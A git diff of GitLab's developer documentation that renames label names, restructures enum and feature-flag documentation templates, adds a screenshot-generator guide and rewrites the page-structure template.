@@ -275,10 +275,10 @@ or ~"Stretch". Any open issue for a previous milestone should be labeled
We have the following priority labels:
-- ~P::1
-- ~P::2
-- ~P::3
-- ~P::4
+- ~"priority::1"
+- ~"priority::2"
+- ~"priority::3"
+- ~"priority::4"
Please refer to the issue triage [priority label](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#priority) section in our handbook to see how it's used.
@@ -286,10 +286,10 @@ Please refer to the issue triage [priority label](https://about.gitlab.com/handb
We have the following severity labels:
-- ~S::1
-- ~S::2
-- ~S::3
-- ~S::4
+- ~"severity::1"
+- ~"severity::2"
+- ~"severity::3"
+- ~"severity::4"
Please refer to the issue triage [severity label](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#severity) section in our handbook to see how it's used.
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index e5a8bdad7b0..d88b159b666 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -176,7 +176,7 @@ the contribution acceptance criteria below:
exposing a bug in existing code). Every new class should have corresponding
unit tests, even if the class is exercised at a higher level, such as a feature test.
- If a failing CI build seems to be unrelated to your contribution, you can try
- restarting the failing CI job, rebasing from master to bring in updates that
+ restarting the failing CI job, rebasing from `master` to bring in updates that
may resolve the failure, or if it has not been fixed yet, ask a developer to
help you fix the test.
1. The MR initially contains a few logically organized commits.
@@ -242,6 +242,7 @@ request:
1. The [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit).
1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/prepare_build.sh).
1. The [Omnibus package creator](https://gitlab.com/gitlab-org/omnibus-gitlab).
+1. The [Cloud Native GitLab Dockerfiles](https://gitlab.com/gitlab-org/build/CNG)
## Incremental improvements
diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md
index 3833f771bb5..af9bf919b2b 100644
--- a/doc/development/creating_enums.md
+++ b/doc/development/creating_enums.md
@@ -33,28 +33,32 @@ tempted to organize the `enum` as the following:
```ruby
# Define `failure_reason` enum in `Pipeline` model:
class Pipeline < ApplicationRecord
- enum failure_reason: ::PipelineEnums.failure_reasons
+ enum failure_reason: Enums::Pipeline.failure_reasons
end
```
```ruby
# Define key/value pairs that used in FOSS and EE:
-module PipelineEnums
- def self.failure_reasons
- { unknown_failure: 0, config_error: 1 }
+module Enums
+ module Pipeline
+ def self.failure_reasons
+ { unknown_failure: 0, config_error: 1 }
+ end
end
end
-PipelineEnums.prepend_if_ee('EE::PipelineEnums')
+Enums::Pipeline.prepend_if_ee('EE::Enums::Pipeline')
```
```ruby
# Define key/value pairs that used in EE only:
module EE
- module PipelineEnums
- override :failure_reasons
- def failure_reasons
- super.merge(activity_limit_exceeded: 2)
+ module Enums
+ module Pipeline
+ override :failure_reasons
+ def failure_reasons
+ super.merge(activity_limit_exceeded: 2)
+ end
end
end
end
@@ -63,7 +67,7 @@ end
This works as-is, however, it has a couple of downside that:
- Someone could define a key/value pair in EE that is **conflicted** with a value defined in FOSS.
- e.g. Define `activity_limit_exceeded: 1` in `EE::PipelineEnums`.
+ e.g. Define `activity_limit_exceeded: 1` in `EE::Enums::Pipeline`.
- When it happens, the feature works totally different.
e.g. We cannot figure out `failure_reason` is either `config_error` or `activity_limit_exceeded`.
- When it happens, we have to ship a database migration to fix the data integrity,
@@ -74,10 +78,12 @@ For example, this example sets `1000` as the offset:
```ruby
module EE
- module PipelineEnums
- override :failure_reasons
- def failure_reasons
- super.merge(activity_limit_exceeded: 1_000, size_limit_exceeded: 1_001)
+ module Enums
+ module Pipeline
+ override :failure_reasons
+ def failure_reasons
+ super.merge(activity_limit_exceeded: 1_000, size_limit_exceeded: 1_001)
+ end
end
end
end
diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md
index 894b1ea15f0..6cb061f9959 100644
--- a/doc/development/database/database_reviewer_guidelines.md
+++ b/doc/development/database/database_reviewer_guidelines.md
@@ -23,9 +23,9 @@ For more information on the database review process, check the [database review
Team members are encouraged to self-identify as database domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml)
```yaml
- projects:
- gitlab:
- - reviewer database
+projects:
+ gitlab:
+ - reviewer database
```
Assign the MR which adds your expertise to the `team.yml` file to a database maintainer
@@ -70,9 +70,9 @@ they can update their [team profile](https://gitlab.com/gitlab-com/www-gitlab-co
to a `trainee_maintainer database`:
```yaml
- projects:
- gitlab:
- - trainee_maintainer database
+projects:
+ gitlab:
+ - trainee_maintainer database
```
The first step is to a create a [Trainee Database Maintainer Issue](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/new?issuable_template=trainee-database-maintainer).
diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md
index 0e77e3972e0..b73dfa859fb 100644
--- a/doc/development/database/strings_and_the_text_data_type.md
+++ b/doc/development/database/strings_and_the_text_data_type.md
@@ -38,6 +38,8 @@ For example, consider a migration that creates a table with two text columns,
```ruby
class CreateDbGuides < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
DOWNTIME = false
disable_ddl_transaction!
@@ -179,6 +181,7 @@ in a post-deployment migration,
```ruby
class AddTextLimitMigration < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
+
DOWNTIME = false
disable_ddl_transaction!
diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md
index 25b62e0d693..61e8ac60bfe 100644
--- a/doc/development/database_debugging.md
+++ b/doc/development/database_debugging.md
@@ -72,7 +72,7 @@ Use these instructions for exploring the GitLab database while developing with t
1. **Port number to connect to**: `5432` (default).
1. <!-- vale gitlab.Spelling = NO -->
**Use an ssl connection?**
- <!-- vale gitlab.rulename = NO --> This depends on your installation. Options are:
+ <!-- vale gitlab.Spelling = YES --> This depends on your installation. Options are:
- **Use Secure Connection**
- **Standard Connection** (default)
1. **(Optional) The database to connect to**: `gitlabhq_development`.
diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md
index cbbeae47a41..9a4c15c5c19 100644
--- a/doc/development/distributed_tracing.md
+++ b/doc/development/distributed_tracing.md
@@ -6,6 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Distributed Tracing - development guidelines
+NOTE: **Note:**
+Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com.
+
GitLab is instrumented for distributed tracing.
According to [Open Tracing](https://opentracing.io/docs/overview/what-is-tracing/):
diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md
index e2fbf25eb8a..a4a6ee2fa0f 100644
--- a/doc/development/documentation/feature_flags.md
+++ b/doc/development/documentation/feature_flags.md
@@ -1,5 +1,8 @@
---
-type: reference
+type: reference, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
description: "GitLab development - how to document features deployed behind feature flags"
---
@@ -24,6 +27,7 @@ See how to document them below, according to the state of the flag:
- [Features disabled by default](#features-disabled-by-default).
- [Features that became enabled by default](#features-that-became-enabled-by-default).
- [Features directly enabled by default](#features-directly-enabled-by-default).
+- [Features that can be enabled or disabled for a single project](#features-enabled-by-project).
- [Features with the feature flag removed](#features-with-flag-removed).
NOTE: **Note:**
@@ -37,105 +41,120 @@ therefore, it indicates that it cannot be done by regular users of GitLab.com.
For features disabled by default, if they cannot be used yet due to lack of
completeness, or if they're still under internal evaluation (for example, for
performance implications) do **not document them**: add (or merge) the docs
-only when the feature is safe and ready to use and test by end users.
+only when the feature is safe and ready to use and test by end-users.
For feature flags disabled by default, if they can be used by end users:
- Say that it's disabled by default.
- Say whether it's enabled on GitLab.com.
-- Say whether it can be enabled or disabled per-project.
+- If the feature can be enabled/disabled for a single project, add the
+ [by-project information](#features-enabled-by-project). Otherwise,
+ do not say anything about it.
- Say whether it's recommended for production use.
- Document how to enable and disable it.
+- Add a warning to the user saying that the feature is disabled.
-For example, for a feature disabled by default, disabled on GitLab.com, can be enabled or disabled per-project, and
-not ready for production use:
+For example, for a feature disabled by default, disabled on GitLab.com, cannot
+be enabled for a single project, and is not ready for production use:
````markdown
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It's deployed behind a feature flag, disabled by default.
+> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
> - It's disabled on GitLab.com.
-> - It's able to be enabled or disabled per-project.
> - It's not recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(CORE ONLY)**
-(...)
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+(...Regular content goes here...)
+
+<!-- Add this at the end of the file -->
### Enable or disable <Feature Name> **(CORE ONLY)**
<Feature Name> is under development and not ready for production use. It is
deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../path/to/administration/feature_flags.md)
-can enable it for your instance. <Feature Name> can be enabled or disabled per-project.
+[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md)
+can enable it.
To enable it:
```ruby
-# Instance-wide
Feature.enable(:<feature flag>)
-# or by project
-Feature.enable(:<feature flag>, Project.find(<project id>))
```
To disable it:
```ruby
-# Instance-wide
Feature.disable(:<feature flag>)
-# or by project
-Feature.disable(:<feature flag>, Project.find(<project id>))
```
````
Adjust the blurb according to the state of the feature you're documenting.
+Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`, and
+`<replace with path to>`, and `#anchor-to-section` accordingly.
### Features that became enabled by default
-For features that became enabled by default:
+For features that were released disabled by default but became enabled by
+default:
- Say that it became enabled by default.
- Say whether it's enabled on GitLab.com.
-- Say whether it can be enabled or disabled per-project.
+- If the feature can be enabled/disabled for a single project, add the
+ [by-project information](#features-enabled-by-project). Otherwise,
+ do not say anything about it.
- Say whether it's recommended for production use.
- Document how to disable and enable it.
+- Add a warning to the user saying that the feature might be disabled.
-For example, for a feature initially deployed disabled by default, that became enabled by default, that is enabled on GitLab.com, that cannot be enabled or disabled per-project, and ready for production use:
+For example, for a feature initially deployed disabled by default, that became
+enabled by default, that is enabled on GitLab.com, and is ready for production
+use:
````markdown
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It was deployed behind a feature flag, disabled by default.
+> - It was [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default.
> - [Became enabled by default](link-to-issue) on GitLab 12.1.
> - It's enabled on GitLab.com.
-> - It's not able to be enabled or disabled per-project.
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
-(...)
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+(...Regular content goes here...)
+
+<!-- Add this at the end of the file -->
### Enable or disable <Feature Name> **(CORE ONLY)**
<Feature Name> is under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](..path/to/administration/feature_flags.md)
-can opt to disable it for your instance it cannot be enabled or disabled per-project.
+[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md)
+can opt to disable it.
-To disable it:
+To enable it:
```ruby
-Feature.disable(:<feature flag>)
+Feature.enable(:<feature flag>)
```
-To enable it:
+To disable it:
```ruby
-Feature.enable(:<feature flag>)
+Feature.disable(:<feature flag>)
```
````
Adjust the blurb according to the state of the feature you're documenting.
+Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`,
+`<replace with path to>`, and `#anchor-to-section` accordingly.
### Features directly enabled by default
@@ -143,45 +162,134 @@ For features enabled by default:
- Say it's enabled by default.
- Say whether it's enabled on GitLab.com.
-- Say whether it can be enabled or disabled per-project.
+- If the feature can be enabled/disabled for a single project, add the
+ [by-project information](#features-enabled-by-project). Otherwise,
+ do not say anything about it.
- Say whether it's recommended for production use.
- Document how to disable and enable it.
+- Add a warning to the user saying that the feature might be disabled.
-For example, for a feature enabled by default, enabled on GitLab.com, cannot be enabled or disabled per-project, and ready for production use:
+For example, for a feature enabled by default, enabled on GitLab.com, that
+cannot be enabled for a single project, and is ready for production use:
````markdown
# Feature Name
> - [Introduced](link-to-issue) in GitLab 12.0.
-> - It's deployed behind a feature flag, enabled by default.
+> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
> - It's enabled on GitLab.com.
-> - It's not able to be enabled or disabled per-project.
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
-(...)
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+(...Regular content goes here...)
+
+<!-- Add this at the end of the file -->
### Enable or disable <Feature Name> **(CORE ONLY)**
<Feature Name> is under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](..path/to/administration/feature_flags.md)
-can opt to disable it for your instance.
+[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:<feature flag>)
+```
To disable it:
```ruby
Feature.disable(:<feature flag>)
```
+````
-To enable it:
+Adjust the blurb according to the state of the feature you're documenting.
+Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`,
+`<replace with path to>`, and `#anchor-to-section` accordingly.
+
+### Features enabled by project
+
+If the feature can be enabled/disabled for a single project, include in the
+version history note:
+
+```markdown
+> - It can be enabled or disabled for a single project.
+```
+
+Then add the by-project code to the code blocks:
+
+Enable code:
+
+```ruby
+# For the instance
+Feature.enable(:<feature flag>)
+# For a single project
+Feature.enable(:<feature flag>, Project.find(<project id>))
+```
+
+Disable code:
+
+```ruby
+# For the instance
+Feature.disable(:<feature flag>)
+# For a single project
+Feature.disable(:<feature flag>, Project.find(<project id>))
+```
+
+For example, for a feature enabled by default, enabled on GitLab.com, that can
+be enabled by project, and is ready for production use:
+
+````markdown
+# Feature Name
+
+> - [Introduced](link-to-issue) in GitLab 12.0.
+> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It can be enabled or disable for a single project.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(CORE ONLY)**
+
+CAUTION: **Warning:**
+This feature might not be available to you. Check the **version history** note above for details.
+
+(...Regular content goes here...)
+
+<!-- Add this at the end of the file -->
+
+### Enable or disable <Feature Name> **(CORE ONLY)**
+
+<Feature Name> is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](<replace with path to>/administration/feature_flags.md)
+can opt to disable it.
+
+To enabled it:
```ruby
+# For the instance
Feature.enable(:<feature flag>)
+# For a single project
+Feature.enable(:<feature flag>, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:<feature flag>)
+# For a single project
+Feature.disable(:<feature flag>, Project.find(<project id>))
```
````
Adjust the blurb according to the state of the feature you're documenting.
+Replace `<Feature name>`, `**(CORE ONLY)**`, `<feature flag>`,
+`<replace with path to>`, and `#anchor-to-section` accordingly.
### Features with flag removed
@@ -195,6 +303,6 @@ mentions the flag in the version history notes:
> - [Introduced](link-to-issue) in GitLab 12.0.
> - [Feature flag removed](link-to-issue) in GitLab 12.2.
-(...)
+(...Regular content...)
````
diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md
index 283060ba8d4..d6f24d6374d 100644
--- a/doc/development/documentation/index.md
+++ b/doc/development/documentation/index.md
@@ -105,22 +105,22 @@ info: To determine the technical writer assigned to the Stage/Group associated w
---
```
-### Page type metadata
+### Document type metadata
Originally discussed in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/1280),
-each page should have a `type` metadata. It can be one or more of the following:
-
-- `index`: Index/overview pages. They serve as a list to other pages. Doesn't
- necessarily mean the page should be named `index.md`. [Example page](../../install/README.md).
-- `concepts`: What you need to know before using product. Informational, not
- instructional. For example, abstract ideas, explain meaning or benefit, support
- understanding of tasks. They are read for background information, for example
- "Why X is important". [Example page](../../topics/autodevops/index.md).
-- `howto`: Specific use case instructions. [Example page](../../ssh/README.md).
-- `tutorial`: Learn a process/concept by doing. [Example page](../../gitlab-basics/start-using-git.md).
-- `reference`: Covers what things are/do. Things like specific settings, facts
- without too much explanation that are read for detailed information.
- [Example page](../../ci/yaml/README.md).
+each page should have a metadata tag called `type`. It can be one or more of the
+following:
+
+- `index`: It consists mostly of a list of links to other pages.
+ [Example page](../../README.md).
+- `concepts`: The background or context of a subject.
+ [Example page](../../topics/autodevops/index.md).
+- `howto`: Specific use case instructions.
+ [Example page](../../ssh/README.md).
+- `tutorial`: Learn a process/concept by doing.
+ [Example page](../../gitlab-basics/start-using-git.md).
+- `reference`: A collection of information used as a reference to use a feature
+ or a functionality. [Example page](../../ci/yaml/README.md).
### Redirection metadata
@@ -147,17 +147,10 @@ comments: false
### Additional page metadata
-Each page can have additional (optional) metadata (set in the
+Each page can have additional, optional metadata (set in the
[default.html](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/fc3577921343173d589dfa43d837b4307e4e620f/layouts/default.html#L30-52)
-Nanoc layout), which will be shown to the top of the page if defined:
-
-- `author`: The name of the author of a page, usually a tutorial. It requires `author_gitlab` in order to be shown.
-- `author_gitlab`: The username of the author on GitLab.com. It requires `author` in order to be shown.
-- `date`: The date the page was created, usually for tutorials.
-- `article_type`: The type of article. Can be either `tutorial` or `user guide`.
-- `level`: The level of complexity of a how-to or tutorial. Can be either `beginner`,
- `advanced`, or `intermediate`.
-- `last_updated`: The date in ISO format when the page was last updated. For example `2020-02-14`.
+Nanoc layout), which will be displayed at the top of the page if defined:
+
- `reading_time`: If you want to add an indication of the approximate reading
time of a page, you can set `reading_time` to `true`. This uses a simple
[algorithm](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/lib/helpers/reading_time.rb)
@@ -335,12 +328,12 @@ You can combine one or more of the following:
= link_to 'Help page', help_page_path('user/permissions'), target: '_blank'
```
-1. **Linking to a circle icon.** Usually used in settings where a long
+1. **Using a question icon.** Usually used in settings where a long
description cannot be used, like near checkboxes. You can basically use
- any font awesome icon, but prefer the `question-circle`:
+ any GitLab SVG icon, but prefer the `question-o`:
```haml
- = link_to icon('question-circle'), help_page_path('user/permissions')
+ = link_to sprite_icon('question-o'), help_page_path('user/permissions')
```
1. **Using a button link.** Useful in places where text would be out of context
@@ -462,7 +455,7 @@ If you want to know the in-depth details, here's what's really happening:
[skips the test jobs](https://gitlab.com/gitlab-org/gitlab-docs/blob/8d5d5c750c602a835614b02f9db42ead1c4b2f5e/.gitlab-ci.yml#L50-55)
to lower the build time.
1. Once the docs site is built, the HTML files are uploaded as artifacts.
-1. A specific Runner tied only to the docs project, runs the Review App job
+1. A specific runner tied only to the docs project, runs the Review App job
that downloads the artifacts and uses `rsync` to transfer the files over
to a location where NGINX serves them.
@@ -472,7 +465,7 @@ The following GitLab features are used among others:
- [Multi project pipelines](../../ci/multi_project_pipeline_graphs.md)
- [Review Apps](../../ci/review_apps/index.md)
- [Artifacts](../../ci/yaml/README.md#artifacts)
-- [Specific Runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
+- [Specific runner](../../ci/runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
- [Pipelines for merge requests](../../ci/merge_request_pipelines/index.md)
## Testing
@@ -701,9 +694,9 @@ To configure markdownlint within your editor, install one of the following as ap
To configure Vale within your editor, install one of the following as appropriate:
-- The Sublime Text [`SublimeLinter-contrib-vale` plugin](https://packagecontrol.io/packages/SublimeLinter-contrib-vale)
-- The Visual Studio Code [`testthedocs.vale` extension](https://marketplace.visualstudio.com/items?itemName=testthedocs.vale)
-- [Vim](https://github.com/dense-analysis/ale)
+- The Sublime Text [`SublimeLinter-contrib-vale` plugin](https://packagecontrol.io/packages/SublimeLinter-contrib-vale).
+- The Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). You don't need Vale Server to use the plugin.
+- [Vim](https://github.com/dense-analysis/ale).
We don't use [Vale Server](https://errata-ai.github.io/vale/#using-vale-with-a-text-editor-or-another-third-party-application).
@@ -736,9 +729,7 @@ document:
- To disable all Vale linting rules, add a `<!-- vale off -->` tag before the text, and a
`<!-- vale on -->` tag after the text.
-Whenever possible, exclude only the problematic rule and line(s). In some cases, such as list items,
-you may need to disable linting for the entire list until
-[Vale issue #175](https://github.com/errata-ai/vale/issues/175) is resolved.
+Whenever possible, exclude only the problematic rule and line(s).
For more information, see
[Vale's documentation](https://errata-ai.gitbook.io/vale/getting-started/markup#markup-based-configuration).
@@ -750,3 +741,64 @@ code review. For docs changes in merge requests, whenever a change to files unde
is made, Danger Bot leaves a comment with further instructions about the documentation
process. This is configured in the `Dangerfile` in the GitLab repository under
[/danger/documentation/](https://gitlab.com/gitlab-org/gitlab/tree/master/danger/documentation).
+
+## Automatic screenshot generator
+
+You can now set up an automatic screenshot generator to take and compress screenshots, with the
+help of a configuration file known as **screenshot generator**.
+
+### Use the tool
+
+To run the tool on an existing screenshot generator, take the following steps:
+
+1. Set up the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/gitlab_docs.md).
+1. Navigate to the subdirectory with your cloned GitLab repository, typically `gdk/gitlab`.
+1. Make sure that your GDK database is fully migrated: `bin/rake db:migrate RAILS_ENV=development`.
+1. Install pngquant, see the tool website for more info: [`pngquant`](https://pngquant.org/)
+1. Run `scripts/docs_screenshots.rb spec/docs_screenshots/<name_of_screenshot_generator>.rb <milestone-version>`.
+1. Identify the location of the screenshots, based on the `gitlab/doc` location defined by the `it` parameter in your script.
+1. Commit the newly created screenshots.
+
+### Extending the tool
+
+To add an additional **screenshot generator**, take the following steps:
+
+- Locate the `spec/docs_screenshots` directory.
+- Add a new file with a `_docs.rb` extension.
+- Be sure to include the following bits in the file:
+
+```ruby
+require 'spec_helper'
+
+RSpec.describe '<What I am taking screenshots of>', :js do
+ include DocsScreenshotHelpers # Helper that enables the screenshots taking mechanism
+
+ before do
+ page.driver.browser.manage.window.resize_to(1366, 1024) # length and width of the page
+ end
+```
+
+- In addition, every `it` block must include the path where the screenshot is saved
+
+```ruby
+ it 'user/packages/container_registry/img/project_image_repositories_list'
+```
+
+#### Full page screenshots
+
+To take a full page screenshot simply `visit the page` and perform any expectation on real content (to have capybara wait till the page is ready and not take a white screenshot).
+
+#### Element screenshot
+
+To have the screenshot focuses few more steps are needed:
+
+- **find the area**: `screenshot_area = find('#js-registry-policies')`
+- **scroll the area in focus**: `scroll_to screenshot_area`
+- **wait for the content**: `expect(screenshot_area).to have_content 'Expiration interval'`
+- **set the crop area**: `set_crop_data(screenshot_area, 20)`
+
+In particular `set_crop_data` accepts as arguments: a `DOM` element and a padding, the padding will be added around the element enlarging the screenshot area.
+
+#### Live example
+
+Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts.
diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md
index 63cd9959985..5d3af6721d1 100644
--- a/doc/development/documentation/site_architecture/index.md
+++ b/doc/development/documentation/site_architecture/index.md
@@ -227,11 +227,12 @@ for its search function. This is how it works:
there's a JavaScript snippet which initiates DocSearch by using an API key
and an index name (`gitlab`) that are needed for Algolia to show the results.
-NOTE: **For GitLab employees:**
-The credentials to access the Algolia dashboard are stored in 1Password. If you
-want to receive weekly reports of the search usage, search the Google doc with
+NOTE: **For GitLab Team Members:**
+If you’re a GitLab Team Member, find credentials for the Algolia dashboard
+in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
+To receive weekly reports of the search usage, search the Google doc with
title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`,
-and add a comment with your email to be added to the alias that gets the weekly
+and add a comment with your email. You'll be added to the alias that gets the weekly
reports.
## Monthly release process (versions)
diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md
index d04d34ff786..98bb116aba6 100644
--- a/doc/development/documentation/site_architecture/release_process.md
+++ b/doc/development/documentation/site_architecture/release_process.md
@@ -121,11 +121,10 @@ versions (stable branches `X.Y` of the `gitlab-docs` project):
pipelines succeed:
NOTE: **Note:**
- The `release-X-Y` branch needs to be present locally,
- and you need to have switched to it, otherwise the Rake task will fail.
+ The `release-X-Y` branch needs to be present locally, otherwise the Rake
+ task will abort.
```shell
- git checkout release-X-Y
./bin/rake release:dropdowns
```
diff --git a/doc/development/documentation/structure.md b/doc/development/documentation/structure.md
index e13b2f4d031..e454a401a9d 100644
--- a/doc/development/documentation/structure.md
+++ b/doc/development/documentation/structure.md
@@ -1,45 +1,46 @@
---
+stage: none
+group: Style Guide
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
description: What to include in GitLab documentation pages.
---
# Documentation structure and template
-This document will help you determine how to structure a page within GitLab's
-documentation and what content to include. These standards help ensure consistency
-and completeness throughout the documentation, and they make it easier to contribute.
+Use these standards to contribute content to the GitLab documentation.
Before getting started, familiarize yourself with [GitLab's Documentation guidelines](index.md)
-and the section on Content in the [Style Guide](styleguide.md).
+and the [Documentation Style Guide](styleguide.md).
## Components of a documentation page
-Most pages will be dedicated to a specific GitLab feature or to a use case that involves
-one or more features, potentially in conjunction with third-party tools.
-
-Every feature or use case document should include the following content in the following sequence,
-with exceptions and details noted below and in the template included on this page.
-
-- **Title**: Top-level heading with the feature name, or a use case name, which would start with
- a verb, like "Configure", "Enable", and so on.
-- **Introduction**: A couple sentences about the subject matter and what's to be found
-on this page. Describe what the feature or topic is, what it does, and in what context it should
-be used. There is no need to add a title called "Introduction" or "Overview," because people rarely
- search for these terms. Just put this information after the title.
-- **Use cases**: describes real use case scenarios for that feature/configuration.
-- **Requirements**: describes what software, configuration, account, or knowledge is required.
-- **Instructions**: one or more sets of detailed instructions to follow.
-- **Troubleshooting** guide (recommended but not required).
-
-For additional details on each, see the [template for new docs](#template-for-new-docs),
-below.
-
-Note that you can include additional subsections, as appropriate, such as 'How it Works', 'Architecture',
-and other logical divisions such as pre-deployment and post-deployment steps.
+Most pages are dedicated to a specific GitLab feature or to a use case that
+involves one or more features, potentially in conjunction with third-party tools.
+
+In general, each topic should include the following content, in this sequence:
+
+- *Metadata*: Information about the stage, group, and how to find the technical
+ writer for the topic. This information isn't visible in the published help.
+- *Title*: A top-level heading with the feature or use case name. Choose a term
+ that defines the functionality and use the same term in all the resources
+ where the feature is mentioned.
+- *Introduction*: In a few sentences beneath the title, describe what the
+ feature or topic is, what it does, and in what context it should be used.
+- *Use cases*: Describe real user scenarios.
+- *Prerequisites*: Describe the software, configuration, account, permissions,
+ or knowledge required to use this functionality.
+- *Tasks*: Present detailed step-by-step instructions on how to use the feature.
+- *Troubleshooting*: List errors and how to address them. Recommended but not
+ required.
+
+You can include additional subsections, as appropriate, such as *How it Works*,
+or *Architecture*. You can also include other logical divisions, such as
+pre-deployment and post-deployment tasks.
## Template for new docs
-To start a new document, respect the file tree and file name guidelines,
-as well as the style guidelines. Use the following template:
+Follow the [folder structure and file name guidelines](styleguide.md#folder-structure-overview)
+and create a new topic by using this template:
```markdown
<!--Follow the Style Guide when working on this document.
@@ -47,94 +48,87 @@ https://docs.gitlab.com/ee/development/documentation/styleguide.html
When done, remove all of this commented-out text, except a commented-out
Troubleshooting section, which, if empty, can be left in place to encourage future use.-->
---
-description: "Short document description." # Up to ~200 chars long. They will be displayed
+description: "Short document description." # Up to ~200 chars long. This information is displayed
in Google Search snippets. It may help to write the page intro first, and then reuse it here.
-stage: "Add the stage name here, and remove the quotation marks"
-group: "Add the group name here, and remove the quotation marks"
+stage: Add the stage name here
+group: Add the group name here
info: To determine the technical writer assigned to the Stage/Group associated with this page,
see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Feature Name or Use Case Name **[TIER]** (1)
-<!--If writing about a use case, drop the tier, and start with a verb,
+# Feature or Use Case Name **[TIER]** (1)
+<!--If you are writing about a use case, start with a verb,
for example, "Configure", "Implement", + the goal/scenario-->
<!--For pages on newly-introduced features, add the following line.
If only some aspects of the feature have been introduced, specify which parts of the feature.-->
> [Introduced](link_to_issue_or_mr) in GitLab (Tier) X.Y (2).
-An introduction -- without its own additional header -- goes here.
-Offer a description of the feature or use case, and what to expect on this page.
-(You can reuse this content, or part of it, for the front matter's `description` at the top
-of this file).
-
-The introduction should answer the following questions:
+Write a description of the feature or use case. This introduction should answer
+these questions:
- What is this feature or use case?
- Who is it for?
-- What is the context in which it is used and are there any prerequisites/requirements?
-- What can the audience do with this? (Be sure to consider all applicable audiences, like
- GitLab admin and developer-user.)
-- What are the benefits to using this over any alternatives?
+- What is the context in which it is used and are there any prerequisites or
+ requirements?
+- What can the audience do with this? (Be sure to consider all applicable
+ audiences, such as GitLab admin and developer-user.)
+- What are the benefits of using this over any existing alternatives?
+
+You can reuse this content, or part of it, for the front matter's `description`
+at the top of this file.
## Use cases
-Describe some use cases, typically in bulleted form. Include real-life examples for each.
+Describe common use cases, typically in bulleted form. Include real-life examples
+for each.
-If the page itself is dedicated to a use case, this section can usually include more specific
-scenarios for use (for example, variations on the main use case), but if that's not applicable,
-the section can be omitted.
+If the page itself is dedicated to a use case, this section usually includes more
+specific scenarios for use (for example, variations on the main use case), but if
+that's not applicable, you can omit this section.
